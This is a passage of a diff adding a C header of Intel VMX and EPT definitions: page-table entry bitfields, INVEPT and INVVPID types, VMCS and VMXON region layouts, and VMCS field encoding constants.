+ * [Bit 2] If the "mode-based execute control for EPT" VM-execution control is 0, execute access; indicates whether + * instruction fetches are allowed from the 4-KByte page controlled by this entry. + * If that control is 1, execute access for supervisor-mode linear addresses; indicates whether instruction fetches are + * allowed from supervisor-mode linear addresses in the 4-KByte page controlled by this entry. + */ + uint64_t execute_access : 1; +#define EPTE_EXECUTE_ACCESS_BIT 2 +#define EPTE_EXECUTE_ACCESS_FLAG 0x04 +#define EPTE_EXECUTE_ACCESS_MASK 0x01 +#define EPTE_EXECUTE_ACCESS(_) (((_) >> 2) & 0x01) + + /** + * [Bits 5:3] EPT memory type for this 4-KByte page. + * + * @see Vol3C[28.2.6(EPT and memory Typing)] + */ + uint64_t memory_type : 3; +#define EPTE_MEMORY_TYPE_BIT 3 +#define EPTE_MEMORY_TYPE_FLAG 0x38 +#define EPTE_MEMORY_TYPE_MASK 0x07 +#define EPTE_MEMORY_TYPE(_) (((_) >> 3) & 0x07) + + /** + * [Bit 6] Ignore PAT memory type for this 4-KByte page. + * + * @see Vol3C[28.2.6(EPT and memory Typing)] + */ + uint64_t ignore_pat : 1; +#define EPTE_IGNORE_PAT_BIT 6 +#define EPTE_IGNORE_PAT_FLAG 0x40 +#define EPTE_IGNORE_PAT_MASK 0x01 +#define EPTE_IGNORE_PAT(_) (((_) >> 6) & 0x01) + uint64_t reserved1 : 1; + + /** + * [Bit 8] If bit 6 of EPTP is 1, accessed flag for EPT; indicates whether software has accessed the 4-KByte page + * referenced by this entry. Ignored if bit 6 of EPTP is 0. + * + * @see Vol3C[28.2.4(Accessed and Dirty Flags for EPT)] + */ + uint64_t accessed : 1; +#define EPTE_ACCESSED_BIT 8 +#define EPTE_ACCESSED_FLAG 0x100 +#define EPTE_ACCESSED_MASK 0x01 +#define EPTE_ACCESSED(_) (((_) >> 8) & 0x01) + + /** + * [Bit 9] If bit 6 of EPTP is 1, dirty flag for EPT; indicates whether software has written to the 4-KByte page referenced + * by this entry. Ignored if bit 6 of EPTP is 0. + * + * @see Vol3C[28.2.4(Accessed and Dirty Flags for EPT)] + */ + uint64_t dirty : 1; +#define EPTE_DIRTY_BIT 9 +#define EPTE_DIRTY_FLAG 0x200 +#define EPTE_DIRTY_MASK 0x01 +#define EPTE_DIRTY(_) (((_) >> 9) & 0x01) + + /** + * [Bit 10] Execute access for user-mode linear addresses. If the "mode-based execute control for EPT" VM-execution control + * is 1, indicates whether instruction fetches are allowed from user-mode linear addresses in the 4-KByte page controlled + * by this entry. If that control is 0, this bit is ignored. + */ + uint64_t user_mode_execute : 1; +#define EPTE_USER_MODE_EXECUTE_BIT 10 +#define EPTE_USER_MODE_EXECUTE_FLAG 0x400 +#define EPTE_USER_MODE_EXECUTE_MASK 0x01 +#define EPTE_USER_MODE_EXECUTE(_) (((_) >> 10) & 0x01) + uint64_t reserved2 : 1; + + /** + * [Bits 47:12] Physical address of the 4-KByte page referenced by this entry. + */ + uint64_t page_frame_number : 36; +#define EPTE_PAGE_FRAME_NUMBER_BIT 12 +#define EPTE_PAGE_FRAME_NUMBER_FLAG 0xFFFFFFFFF000 +#define EPTE_PAGE_FRAME_NUMBER_MASK 0xFFFFFFFFF +#define EPTE_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFFFFFF) + uint64_t reserved3 : 15; + + /** + * [Bit 63] Suppress \#VE. If the "EPT-violation \#VE" VM-execution control is 1, EPT violations caused by accesses to this + * page are convertible to virtualization exceptions only if this bit is 0. If "EPT-violation \#VE" VMexecution control is + * 0, this bit is ignored. + * + * @see Vol3C[25.5.6.1(Convertible EPT Violations)] + */ + uint64_t suppress_ve : 1; +#define EPTE_SUPPRESS_VE_BIT 63 +#define EPTE_SUPPRESS_VE_FLAG 0x8000000000000000 +#define EPTE_SUPPRESS_VE_MASK 0x01 +#define EPTE_SUPPRESS_VE(_) (((_) >> 63) & 0x01) + }; + + uint64_t flags; +} epte; + +/** + * @brief Format of a common EPT Entry + */ +typedef union +{ + struct + { + uint64_t read_access : 1; +#define EPT_ENTRY_READ_ACCESS_BIT 0 +#define EPT_ENTRY_READ_ACCESS_FLAG 0x01 +#define EPT_ENTRY_READ_ACCESS_MASK 0x01 +#define EPT_ENTRY_READ_ACCESS(_) (((_) >> 0) & 0x01) + uint64_t write_access : 1; +#define EPT_ENTRY_WRITE_ACCESS_BIT 1 +#define EPT_ENTRY_WRITE_ACCESS_FLAG 0x02 +#define EPT_ENTRY_WRITE_ACCESS_MASK 0x01 +#define EPT_ENTRY_WRITE_ACCESS(_) (((_) >> 1) & 0x01) + uint64_t execute_access : 1; +#define EPT_ENTRY_EXECUTE_ACCESS_BIT 2 +#define EPT_ENTRY_EXECUTE_ACCESS_FLAG 0x04 +#define EPT_ENTRY_EXECUTE_ACCESS_MASK 0x01 +#define EPT_ENTRY_EXECUTE_ACCESS(_) (((_) >> 2) & 0x01) + uint64_t memory_type : 3; +#define EPT_ENTRY_MEMORY_TYPE_BIT 3 +#define EPT_ENTRY_MEMORY_TYPE_FLAG 0x38 +#define EPT_ENTRY_MEMORY_TYPE_MASK 0x07 +#define EPT_ENTRY_MEMORY_TYPE(_) (((_) >> 3) & 0x07) + uint64_t ignore_pat : 1; +#define EPT_ENTRY_IGNORE_PAT_BIT 6 +#define EPT_ENTRY_IGNORE_PAT_FLAG 0x40 +#define EPT_ENTRY_IGNORE_PAT_MASK 0x01 +#define EPT_ENTRY_IGNORE_PAT(_) (((_) >> 6) & 0x01) + uint64_t large_page : 1; +#define EPT_ENTRY_LARGE_PAGE_BIT 7 +#define EPT_ENTRY_LARGE_PAGE_FLAG 0x80 +#define EPT_ENTRY_LARGE_PAGE_MASK 0x01 +#define EPT_ENTRY_LARGE_PAGE(_) (((_) >> 7) & 0x01) + uint64_t accessed : 1; +#define EPT_ENTRY_ACCESSED_BIT 8 +#define EPT_ENTRY_ACCESSED_FLAG 0x100 +#define EPT_ENTRY_ACCESSED_MASK 0x01 +#define EPT_ENTRY_ACCESSED(_) (((_) >> 8) & 0x01) + uint64_t dirty : 1; +#define EPT_ENTRY_DIRTY_BIT 9 +#define EPT_ENTRY_DIRTY_FLAG 0x200 +#define EPT_ENTRY_DIRTY_MASK 0x01 +#define EPT_ENTRY_DIRTY(_) (((_) >> 9) & 0x01) + uint64_t user_mode_execute : 1; +#define EPT_ENTRY_USER_MODE_EXECUTE_BIT 10 +#define EPT_ENTRY_USER_MODE_EXECUTE_FLAG 0x400 +#define EPT_ENTRY_USER_MODE_EXECUTE_MASK 0x01 +#define EPT_ENTRY_USER_MODE_EXECUTE(_) (((_) >> 10) & 0x01) + uint64_t reserved1 : 1; + uint64_t page_frame_number : 36; +#define EPT_ENTRY_PAGE_FRAME_NUMBER_BIT 12 +#define EPT_ENTRY_PAGE_FRAME_NUMBER_FLAG 0xFFFFFFFFF000 +#define EPT_ENTRY_PAGE_FRAME_NUMBER_MASK 0xFFFFFFFFF +#define EPT_ENTRY_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFFFFFF) + uint64_t reserved2 : 15; + uint64_t suppress_ve : 1; +#define EPT_ENTRY_SUPPRESS_VE_BIT 63 +#define EPT_ENTRY_SUPPRESS_VE_FLAG 0x8000000000000000 +#define EPT_ENTRY_SUPPRESS_VE_MASK 0x01 +#define EPT_ENTRY_SUPPRESS_VE(_) (((_) >> 63) & 0x01) + }; + + uint64_t flags; +} ept_entry; + +/** + * @defgroup ept_table_level \ + * EPT Table level numbers + * + * EPT Table level numbers. + * @{ + */ +#define EPT_LEVEL_PML4E 0x00000003 +#define EPT_LEVEL_PDPTE 0x00000002 +#define EPT_LEVEL_PDE 0x00000001 +#define EPT_LEVEL_PTE 0x00000000 + /** + * @} + */ + + /** + * @defgroup ept_entry_count \ + * EPT Entry counts + * + * EPT Entry counts. + * @{ + */ +#define EPT_PML4E_ENTRY_COUNT 0x00000200 +#define EPT_PDPTE_ENTRY_COUNT 0x00000200 +#define EPT_PDE_ENTRY_COUNT 0x00000200 +#define EPT_PTE_ENTRY_COUNT 0x00000200 + /** + * @} + */ + + /** + * @} + */ + +typedef enum +{ + /** + * If the INVEPT type is 1, the logical processor invalidates all guest-physical mappings and combined mappings associated + * with the EP4TA specified in the INVEPT descriptor. Combined mappings for that EP4TA are invalidated for all VPIDs and + * all PCIDs. (The instruction may invalidate mappings associated with other EP4TAs.) + */ + invept_single_context = 0x00000001, + + /** + * If the INVEPT type is 2, the logical processor invalidates guest-physical mappings and combined mappings associated with + * all EP4TAs (and, for combined mappings, for all VPIDs and PCIDs). + */ + invept_all_context = 0x00000002, +} invept_type; + +typedef enum +{ + /** + * If the INVVPID type is 0, the logical processor invalidates linear mappings and combined mappings associated with the + * VPID specified in the INVVPID descriptor and that would be used to translate the linear address specified in of the + * INVVPID descriptor. Linear mappings and combined mappings for that VPID and linear address are invalidated for all PCIDs + * and, for combined mappings, all EP4TAs. (The instruction may also invalidate mappings associated with other VPIDs and + * for other linear addresses). + */ + invvpid_individual_address = 0x00000000, + + /** + * If the INVVPID type is 1, the logical processor invalidates all linear mappings and combined mappings associated with + * the VPID specified in the INVVPID descriptor. Linear mappings and combined mappings for that VPID are invalidated for + * all PCIDs and, for combined mappings, all EP4TAs. (The instruction may also invalidate mappings associated with other + * VPIDs). + */ + invvpid_single_context = 0x00000001, + + /** + * If the INVVPID type is 2, the logical processor invalidates linear mappings and combined mappings associated with all + * VPIDs except VPID 0000H and with all PCIDs. (The instruction may also invalidate linear mappings with VPID 0000H.) + * Combined mappings are invalidated for all EP4TAs. + */ + invvpid_all_context = 0x00000002, + + /** + * If the INVVPID type is 3, the logical processor invalidates linear mappings and combined mappings associated with the + * VPID specified in the INVVPID descriptor. Linear mappings and combined mappings for that VPID are invalidated for all + * PCIDs and, for combined mappings, all EP4TAs. The logical processor is not required to invalidate information that was + * used for global translations (although it may do so). (The instruction may also invalidate mappings associated with + * other VPIDs). + * + * @see Vol3C[4.10(Caching Translation Information)] + */ + invvpid_single_context_retaining_globals = 0x00000003, +} invvpid_type; + +typedef struct +{ + uint64_t ept_pointer; + + /** + * Must be zero. + */ + uint64_t reserved; +} invept_descriptor; + +typedef struct +{ + uint16_t vpid; + + /** + * Must be zero. + */ + uint16_t reserved1; + + /** + * Must be zero. + */ + uint32_t reserved2; + uint64_t linear_address; +} invvpid_descriptor; + +/** + * @brief Format of the VMCS Region + * + * A logical processor uses virtual-machine control data structures (VMCSs) while it is in VMX operation. These manage + * transitions into and out of VMX non-root operation (VM entries and VM exits) as well as processor behavior in VMX + * non-root operation. This structure is manipulated by the new instructions VMCLEAR, VMPTRLD, VMREAD, and VMWRITE. + * A VMCS region comprises up to 4-KBytes. The exact size is implementation specific and can be determined by consulting + * the VMX capability MSR IA32_VMX_BASIC. + * + * @see Vol3C[24.2(FORMAT OF THE VMCS REGION)] (reference) + */ +typedef struct +{ + struct + { + /** + * @brief VMCS revision identifier + * + * [Bits 30:0] Processors that maintain VMCS data in different formats (see below) use different VMCS revision identifiers. + * These identifiers enable software to avoid using a VMCS region formatted for one processor on a processor that uses a + * different format. + * Software should write the VMCS revision identifier to the VMCS region before using that region for a VMCS. The VMCS + * revision identifier is never written by the processor; VMPTRLD fails if its operand references a VMCS region whose VMCS + * revision identifier differs from that used by the processor. + * Software can discover the VMCS revision identifier that a processor uses by reading the VMX capability MSR + * IA32_VMX_BASIC. + * + * @see Vol3C[24.6.2(Processor-Based VM-Execution Controls)] + * @see Vol3D[A.1(BASIC VMX INFORMATION)] + */ + uint32_t revision_id : 31; + + /** + * @brief Shadow-VMCS indicator + * + * [Bit 31] Software should clear or set the shadow-VMCS indicator depending on whether the VMCS is to be an ordinary VMCS + * or a shadow VMCS. VMPTRLD fails if the shadow-VMCS indicator is set and the processor does not support the 1-setting of + * the "VMCS shadowing" VM-execution control. Software can discover support for this setting by reading the VMX capability + * MSR IA32_VMX_PROCBASED_CTLS2. + * + * @see Vol3C[24.10(VMCS TYPES ORDINARY AND SHADOW)] + */ + uint32_t shadow_vmcs_indicator : 1; + }; + + + /** + * @brief VMX-abort indicator + * + * The contents of these bits do not control processor operation in any way. A logical processor writes a non-zero value + * into these bits if a VMX abort occurs. Software may also write into this field. + * + * @see Vol3D[27.7(VMX Aborts)] + */ + uint32_t abort_indicator; + + /** + * @brief VMCS data (implementation-specific format) + * + * These parts of the VMCS control VMX non-root operation and the VMX transitions. + * The format of these data is implementation-specific. To ensure proper behavior in VMX operation, software should + * maintain the VMCS region and related structures in writeback cacheable memory. Future implementations may allow or + * require a different memory type. Software should consult the VMX capability MSR IA32_VMX_BASIC. + * + * @see Vol3C[24.11.4(Software Access to Related Structures)] + * @see Vol3D[A.1(BASIC VMX INFORMATION)] + */ + uint8_t data[4088]; +} vmcs; + +/** + * @brief Format of the VMXON Region + * + * Before executing VMXON, software allocates a region of memory that the logical processor uses to support VMX operation. + * This region is called the VMXON region. + * A VMXON region comprises up to 4-KBytes. The exact size is implementation specific and can be determined by consulting + * the VMX capability MSR IA32_VMX_BASIC. + * + * @see Vol3C[24.11.5(VMXON Region)] (reference) + */ +typedef struct +{ + struct + { + /** + * @brief VMCS revision identifier + * + * [Bits 30:0] Before executing VMXON, software should write the VMCS revision identifier to the VMXON region. + * (Specifically, it should write the 31-bit VMCS revision identifier to bits 30:0 of the first 4 bytes of the VMXON + * region; bit 31 should be cleared to 0.) + * + * @see VMCS + * @see Vol3C[24.2(FORMAT OF THE VMCS REGION)] + * @see Vol3C[24.11.5(VMXON Region)] + */ + uint32_t revision_id : 31; + + /** + * [Bit 31] Bit 31 is always 0. + */ + uint32_t must_be_zero : 1; + }; + + + /** + * @brief VMXON data (implementation-specific format) + * + * The format of these data is implementation-specific. To ensure proper behavior in VMX operation, software should not + * access or modify the VMXON region of a logical processor between execution of VMXON and VMXOFF on that logical + * processor. Doing otherwise may lead to unpredictable behavior. + * + * @see Vol3C[24.11.4(Software Access to Related Structures)] + * @see Vol3D[A.1(BASIC VMX INFORMATION)] + */ + uint8_t data[4092]; +} vmxon; + +/** + * @defgroup vmcs_fields \ + * VMCS (VM Control Structure) + * + * Every component of the VMCS is encoded by a 32-bit field that can be used by VMREAD and VMWRITE. This enumerates all + * fields in the VMCS and their encodings. Fields are grouped by width (16-bit, 32-bit, etc.) and type (guest-state, + * host-state, etc.). + * + * @see Vol3D[B(APPENDIX B FIELD ENCODING IN VMCS)] (reference) + * @{ + */ +typedef union +{ + struct + { + /** + * [Bit 0] Access type (0 = full; 1 = high); must be full for 16-bit, 32-bit, and natural-width fields. + */ + uint16_t access_type : 1; +#define VMCS_COMPONENT_ENCODING_ACCESS_TYPE_BIT 0 +#define VMCS_COMPONENT_ENCODING_ACCESS_TYPE_FLAG 0x01 +#define VMCS_COMPONENT_ENCODING_ACCESS_TYPE_MASK 0x01 +#define VMCS_COMPONENT_ENCODING_ACCESS_TYPE(_) (((_) >> 0) & 0x01) + + /** + * [Bits 9:1] Index. + */ + uint16_t index : 9; +#define VMCS_COMPONENT_ENCODING_INDEX_BIT 1 +#define VMCS_COMPONENT_ENCODING_INDEX_FLAG 0x3FE +#define VMCS_COMPONENT_ENCODING_INDEX_MASK 0x1FF +#define VMCS_COMPONENT_ENCODING_INDEX(_) (((_) >> 1) & 0x1FF) + + /** + * [Bits 11:10] Type: + * 0: control + * 1: VM-exit information + * 2: guest state + * 3: host state + */ + uint16_t type : 2; +#define VMCS_COMPONENT_ENCODING_TYPE_BIT 10 +#define VMCS_COMPONENT_ENCODING_TYPE_FLAG 0xC00 +#define VMCS_COMPONENT_ENCODING_TYPE_MASK 0x03 +#define VMCS_COMPONENT_ENCODING_TYPE(_) (((_) >> 10) & 0x03) + + /** + * [Bit 12] Reserved (must be 0). + */ + uint16_t must_be_zero : 1; +#define VMCS_COMPONENT_ENCODING_MUST_BE_ZERO_BIT 12 +#define VMCS_COMPONENT_ENCODING_MUST_BE_ZERO_FLAG 0x1000 +#define VMCS_COMPONENT_ENCODING_MUST_BE_ZERO_MASK 0x01 +#define VMCS_COMPONENT_ENCODING_MUST_BE_ZERO(_) (((_) >> 12) & 0x01) + + /** + * [Bits 14:13] Width: + * 0: 16-bit + * 1: 64-bit + * 2: 32-bit + * 3: natural-width + */ + uint16_t width : 2; +#define VMCS_COMPONENT_ENCODING_WIDTH_BIT 13 +#define VMCS_COMPONENT_ENCODING_WIDTH_FLAG 0x6000 +#define VMCS_COMPONENT_ENCODING_WIDTH_MASK 0x03 +#define VMCS_COMPONENT_ENCODING_WIDTH(_) (((_) >> 13) & 0x03) + uint16_t reserved1 : 1; + }; + + uint16_t flags; +} vmcs_component_encoding; + +/** + * @defgroup vmcs_16_bit \ + * 16-Bit Fields + * + * 16-Bit Fields. + * + * @see Vol3D[B.1(16-BIT FIELDS)] (reference) + * @{ + */ + /** + * @defgroup vmcs_16_bit_control_fields \ + * 16-Bit Control Fields + * + * 16-Bit Control Fields. + * @{ + */ + /** + * Virtual-processor identifier (VPID). + * + * @remarks This field exists only on processors that support the 1-setting of the "enable VPID" VM-execution control. + */ +#define VMCS_CTRL_VIRTUAL_PROCESSOR_IDENTIFIER 0x00000000 + + /** + * Posted-interrupt notification vector. + * + * @remarks This field exists only on processors that support the 1-setting of the "process posted interrupts" VM-execution + * control. + */ +#define VMCS_CTRL_POSTED_INTERRUPT_NOTIFICATION_VECTOR 0x00000002 + + /** + * EPTP index. + * + * @remarks This field exists only on processors that support the 1-setting of the "EPT-violation \#VE" VM-execution + * control. + */ +#define VMCS_CTRL_EPTP_INDEX 0x00000004 + /** + * @} + */ + + /** + * @defgroup vmcs_16_bit_guest_state_fields \ + * 16-Bit Guest-State Fields + * + * 16-Bit Guest-State Fields. + * @{ + */ + /** + * Guest ES selector. + */ +#define VMCS_GUEST_ES_SELECTOR 0x00000800 + + /** + * Guest CS selector. + */ +#define VMCS_GUEST_CS_SELECTOR 0x00000802 + + /** + * Guest SS selector. + */ +#define VMCS_GUEST_SS_SELECTOR 0x00000804 + + /** + * Guest DS selector. + */ +#define VMCS_GUEST_DS_SELECTOR 0x00000806 + + /** + * Guest FS selector. + */ +#define VMCS_GUEST_FS_SELECTOR 0x00000808 + + /** + * Guest GS selector. + */ +#define VMCS_GUEST_GS_SELECTOR 0x0000080A + + /** + * Guest LDTR selector. + */ +#define VMCS_GUEST_LDTR_SELECTOR 0x0000080C + + /** + * Guest TR selector. + */ +#define VMCS_GUEST_TR_SELECTOR 0x0000080E + + /** + * Guest interrupt status. + * + * @remarks This field exists only on processors that support the 1-setting of the "virtual-interrupt delivery" + * VM-execution control. + */ +#define VMCS_GUEST_INTERRUPT_STATUS 0x00000810 + + /** + * PML index. + * + * @remarks This field exists only on processors that support the 1-setting of the "enable PML" VM-execution control. + */ +#define VMCS_GUEST_PML_INDEX 0x00000812 + /** + * @} + */ + + /** + * @defgroup vmcs_16_bit_host_state_fields \ + * 16-Bit Host-State Fields + * + * 16-Bit Host-State Fields. + * @{ + */ + /** + * Host ES selector. + */ +#define VMCS_HOST_ES_SELECTOR 0x00000C00 + + /** + * Host CS selector. + */ +#define VMCS_HOST_CS_SELECTOR 0x00000C02 + + /** + * Host SS selector. + */ +#define VMCS_HOST_SS_SELECTOR 0x00000C04 + + /** + * Host DS selector. + */ +#define VMCS_HOST_DS_SELECTOR 0x00000C06 + + /** + * Host FS selector. + */ +#define VMCS_HOST_FS_SELECTOR 0x00000C08 + + /** + * Host GS selector. + */ +#define VMCS_HOST_GS_SELECTOR 0x00000C0A + + /** + * Host TR selector. + */ +#define VMCS_HOST_TR_SELECTOR 0x00000C0C + /** + * @} + */ + + /** + * @} + */ + + /** + * @defgroup vmcs_64_bit \ + * 64-Bit Fields + * + * 64-Bit Fields. + * + * @see Vol3D[B.2(64-BIT FIELDS)] (reference) + * @{ + */ + /** + * @defgroup vmcs_64_bit_control_fields \ + * 64-Bit Control Fields + * + * 64-Bit Control Fields. + * @{ + */ + /** + * Address of I/O bitmap A. + */ +#define VMCS_CTRL_IO_BITMAP_A_ADDRESS 0x00002000 + + /** + * Address of I/O bitmap B. + */ +#define VMCS_CTRL_IO_BITMAP_B_ADDRESS 0x00002002 + + /** + * Address of MSR bitmaps. + */ +#define VMCS_CTRL_MSR_BITMAP_ADDRESS 0x00002004 + + /** + * VM-exit MSR-store address. + */ +#define VMCS_CTRL_VMEXIT_MSR_STORE_ADDRESS 0x00002006 + + /** + * VM-exit MSR-load address. + */ +#define VMCS_CTRL_VMEXIT_MSR_LOAD_ADDRESS 0x00002008 + + /** + * VM-entry MSR-load address. + */ +#define VMCS_CTRL_VMENTRY_MSR_LOAD_ADDRESS 0x0000200A + + /** + * Executive-VMCS pointer. + */ +#define VMCS_CTRL_EXECUTIVE_VMCS_POINTER 0x0000200C + + /** + * PML address. + */ +#define VMCS_CTRL_PML_ADDRESS 0x0000200E + + /** + * TSC offset. + */ +#define VMCS_CTRL_TSC_OFFSET 0x00002010 + + /** + * Virtual-APIC address. + */ +#define VMCS_CTRL_VIRTUAL_APIC_ADDRESS 0x00002012 + + /** + * APIC-access address. + */ +#define VMCS_CTRL_APIC_ACCESS_ADDRESS 0x00002014 + + /** + * Posted-interrupt descriptor address + */ +#define VMCS_CTRL_POSTED_INTERRUPT_DESCRIPTOR_ADDRESS 0x00002016 + + /** + * VM-function controls. + */ +#define VMCS_CTRL_VMFUNC_CONTROLS 0x00002018 + + /** + * EPT pointer. + */ +#define VMCS_CTRL_EPT_POINTER 0x0000201A + + /** + * EOI-exit bitmap 0. + */ +#define VMCS_CTRL_EOI_EXIT_BITMAP_0 0x0000201C + + /** + * EOI-exit bitmap 1. + */ +#define VMCS_CTRL_EOI_EXIT_BITMAP_1 0x0000201E + + /** + * EOI-exit bitmap 2. + */ +#define VMCS_CTRL_EOI_EXIT_BITMAP_2 0x00002020 + + /** + * EOI-exit bitmap 3. + */ +#define VMCS_CTRL_EOI_EXIT_BITMAP_3 0x00002022 + + /** + * EPTP-list address. + */ +#define VMCS_CTRL_EPT_POINTER_LIST_ADDRESS 0x00002024 + + /** + * VMREAD-bitmap address. + */ +#define VMCS_CTRL_VMREAD_BITMAP_ADDRESS 0x00002026 + + /** + * VMWRITE-bitmap address. + */ +#define VMCS_CTRL_VMWRITE_BITMAP_ADDRESS 0x00002028 + + /** + * Virtualization-exception information address. + */ +#define VMCS_CTRL_VIRTUALIZATION_EXCEPTION_INFORMATION_ADDRESS 0x0000202A + + /** + * XSS-exiting bitmap. + */ +#define VMCS_CTRL_XSS_EXITING_BITMAP 0x0000202C + + /** + * ENCLS-exiting bitmap. + */ +#define VMCS_CTRL_ENCLS_EXITING_BITMAP 0x0000202E + + /** + * TSC multiplier. + */ +#define VMCS_CTRL_TSC_MULTIPLIER 0x00002032 + /** + * @} + */ + + /** + * @defgroup vmcs_64_bit_read_only_data_fields \ + * 64-Bit Read-Only Data Field + * + * 64-Bit Read-Only Data Field. + * @{ + */ + /** + * Guest-physical address. + */ +#define VMCS_GUEST_PHYSICAL_ADDRESS 0x00002400 + /** + * @} + */ + + /** + * @defgroup vmcs_64_bit_guest_state_fields \ + * 64-Bit Guest-State Fields + * + * 64-Bit Guest-State Fields. + * @{ + */ + /** + * VMCS link pointer. + */ +#define VMCS_GUEST_VMCS_LINK_POINTER 0x00002800 + + /** + * Guest IA32_DEBUGCTL. + */ +#define VMCS_GUEST_DEBUGCTL 0x00002802 + + /** + * Guest IA32_PAT. + */ +#define VMCS_GUEST_PAT 0x00002804 + + /** + * Guest IA32_EFER. + */ +#define VMCS_GUEST_EFER 0x00002806 + + /** + * Guest IA32_PERF_GLOBAL_CTRL. + */ +#define VMCS_GUEST_PERF_GLOBAL_CTRL 0x00002808 + + /** + * Guest PDPTE0. + */ +#define VMCS_GUEST_PDPTE0 0x0000280A + + /** + * Guest PDPTE1. + */ +#define VMCS_GUEST_PDPTE1 0x0000280C + + /** + * Guest PDPTE2. + */ +#define VMCS_GUEST_PDPTE2 0x0000280E + + /** + * Guest PDPTE3. + */ +#define VMCS_GUEST_PDPTE3 0x00002810 + + /** + * Guest IA32_BNDCFGS. + */ +#define VMCS_GUEST_BNDCFGS 0x00002812 + + /** + * Guest IA32_RTIT_CTL. + */ +#define VMCS_GUEST_RTIT_CTL 0x00002814 + /** + * @} + */ + + /** + * @defgroup vmcs_64_bit_host_state_fields \ + * 64-Bit Host-State Fields + * + * 64-Bit Host-State Fields. + * @{ + */ + /** + * Host IA32_PAT. + */ +#define VMCS_HOST_PAT 0x00002C00 + + /** + * Host IA32_EFER. + */ +#define VMCS_HOST_EFER 0x00002C02 + + /** + * Host IA32_PERF_GLOBAL_CTRL. + */ +#define VMCS_HOST_PERF_GLOBAL_CTRL 0x00002C04 + /** + * @} + */ + + /** + * @} + */ + + /** + * @defgroup vmcs_32_bit \ + * 32-Bit Fields + * + * 32-Bit Fields. + * + * @see Vol3D[B.3(32-BIT FIELDS)] (reference) + * @{ + */ + /** + * @defgroup vmcs_32_bit_control_fields \ + * 32-Bit Control Fields + * + * 32-Bit Control Fields. + * @{ + */ + /** + * Pin-based VM-execution controls. + */ +#define VMCS_CTRL_PIN_BASED_VM_EXECUTION_CONTROLS 0x00004000 + + /** + * Primary processor-based VM-execution controls. + */ +#define VMCS_CTRL_PROCESSOR_BASED_VM_EXECUTION_CONTROLS 0x00004002 + + /** + * Exception bitmap. + */ +#define VMCS_CTRL_EXCEPTION_BITMAP 0x00004004 + + /** + * Page-fault error-code mask. + */ +#define VMCS_CTRL_PAGEFAULT_ERROR_CODE_MASK 0x00004006 + + /** + * Page-fault error-code match. + */ +#define VMCS_CTRL_PAGEFAULT_ERROR_CODE_MATCH 0x00004008 + + /** + * CR3-target count. + */ +#define VMCS_CTRL_CR3_TARGET_COUNT 0x0000400A + + /** + * VM-exit controls. + */ +#define VMCS_CTRL_VMEXIT_CONTROLS 0x0000400C + + /** + * VM-exit MSR-store count. + */ +#define VMCS_CTRL_VMEXIT_MSR_STORE_COUNT 0x0000400E + + /** + * VM-exit MSR-load count. + */ +#define VMCS_CTRL_VMEXIT_MSR_LOAD_COUNT 0x00004010 + + /** + * VM-entry controls. + */ +#define VMCS_CTRL_VMENTRY_CONTROLS 0x00004012 + + /** + * VM-entry MSR-load count. + */ +#define VMCS_CTRL_VMENTRY_MSR_LOAD_COUNT 0x00004014 + + /** + * VM-entry interruption-information field. + */ +#define VMCS_CTRL_VMENTRY_INTERRUPTION_INFORMATION_FIELD 0x00004016 + + /** + * VM-entry exception error code. + */ +#define VMCS_CTRL_VMENTRY_EXCEPTION_ERROR_CODE 0x00004018 + + /** + * VM-entry instruction length. + */ +#define VMCS_CTRL_VMENTRY_INSTRUCTION_LENGTH 0x0000401A + + /** + * TPR threshold. + */ +#define VMCS_CTRL_TPR_THRESHOLD 0x0000401C + + /** + * Secondary processor-based VM-execution controls. + */ +#define VMCS_CTRL_SECONDARY_PROCESSOR_BASED_VM_EXECUTION_CONTROLS 0x0000401E + + /** + * PLE_Gap. + */ +#define VMCS_CTRL_PLE_GAP 0x00004020 + + /** + * PLE_Window. + */ +#define VMCS_CTRL_PLE_WINDOW 0x00004022 + /** + * @} + */ + + /** + * @defgroup vmcs_32_bit_read_only_data_fields \ + * 32-Bit Read-Only Data Fields + * + * 32-Bit Read-Only Data Fields. + * @{ + */ + /** + * VM-instruction error. + */ +#define VMCS_VM_INSTRUCTION_ERROR 0x00004400 + + /** + * Exit reason. + */ +#define VMCS_EXIT_REASON 0x00004402 + + /** + * VM-exit interruption information. + */ +#define VMCS_VMEXIT_INTERRUPTION_INFORMATION 0x00004404 + + /** + * VM-exit interruption error code. + */ +#define VMCS_VMEXIT_INTERRUPTION_ERROR_CODE 0x00004406 + + /** + * IDT-vectoring information field. + */ +#define VMCS_IDT_VECTORING_INFORMATION 0x00004408 + + /** + * IDT-vectoring error code. + */ +#define VMCS_IDT_VECTORING_ERROR_CODE 0x0000440A + + /** + * VM-exit instruction length. + */ +#define VMCS_VMEXIT_INSTRUCTION_LENGTH 0x0000440C + + /** + * VM-exit instruction information. + */ +#define VMCS_VMEXIT_INSTRUCTION_INFO 0x0000440E + /** + * @} + */ + + /** + * @defgroup vmcs_32_bit_guest_state_fields \ + * 32-Bit Guest-State Fields + * + * 32-Bit Guest-State Fields. + * @{ + */ + /** + * Guest ES limit. + */ +#define VMCS_GUEST_ES_LIMIT 0x00004800 + + /** + * Guest CS limit. + */ +#define VMCS_GUEST_CS_LIMIT 0x00004802 + + /** + * Guest SS limit. + */ +#define VMCS_GUEST_SS_LIMIT 0x00004804 + + /** + * Guest DS limit. + */ +#define VMCS_GUEST_DS_LIMIT 0x00004806 + + /** + * Guest FS limit. + */ +#define VMCS_GUEST_FS_LIMIT 0x00004808 + + /** + * Guest GS limit. + */ +#define VMCS_GUEST_GS_LIMIT 0x0000480A + + /** + * Guest LDTR limit. + */ +#define VMCS_GUEST_LDTR_LIMIT 0x0000480C + + /** + * Guest TR limit. + */ +#define VMCS_GUEST_TR_LIMIT 0x0000480E + + /** + * Guest GDTR limit. + */ +#define VMCS_GUEST_GDTR_LIMIT 0x00004810 + + /** + * Guest IDTR limit. + */ +#define VMCS_GUEST_IDTR_LIMIT 0x00004812 + + /** + * Guest ES access rights. + */ +#define VMCS_GUEST_ES_ACCESS_RIGHTS 0x00004814 + + /** + * Guest CS access rights. + */ +#define VMCS_GUEST_CS_ACCESS_RIGHTS 0x00004816 + + /** + * Guest SS access rights. + */ +#define VMCS_GUEST_SS_ACCESS_RIGHTS 0x00004818 + + /** + * Guest DS access rights. + */ +#define VMCS_GUEST_DS_ACCESS_RIGHTS 0x0000481A + + /** + * Guest FS access rights. + */ +#define VMCS_GUEST_FS_ACCESS_RIGHTS 0x0000481C + + /** + * Guest GS access rights. + */ +#define 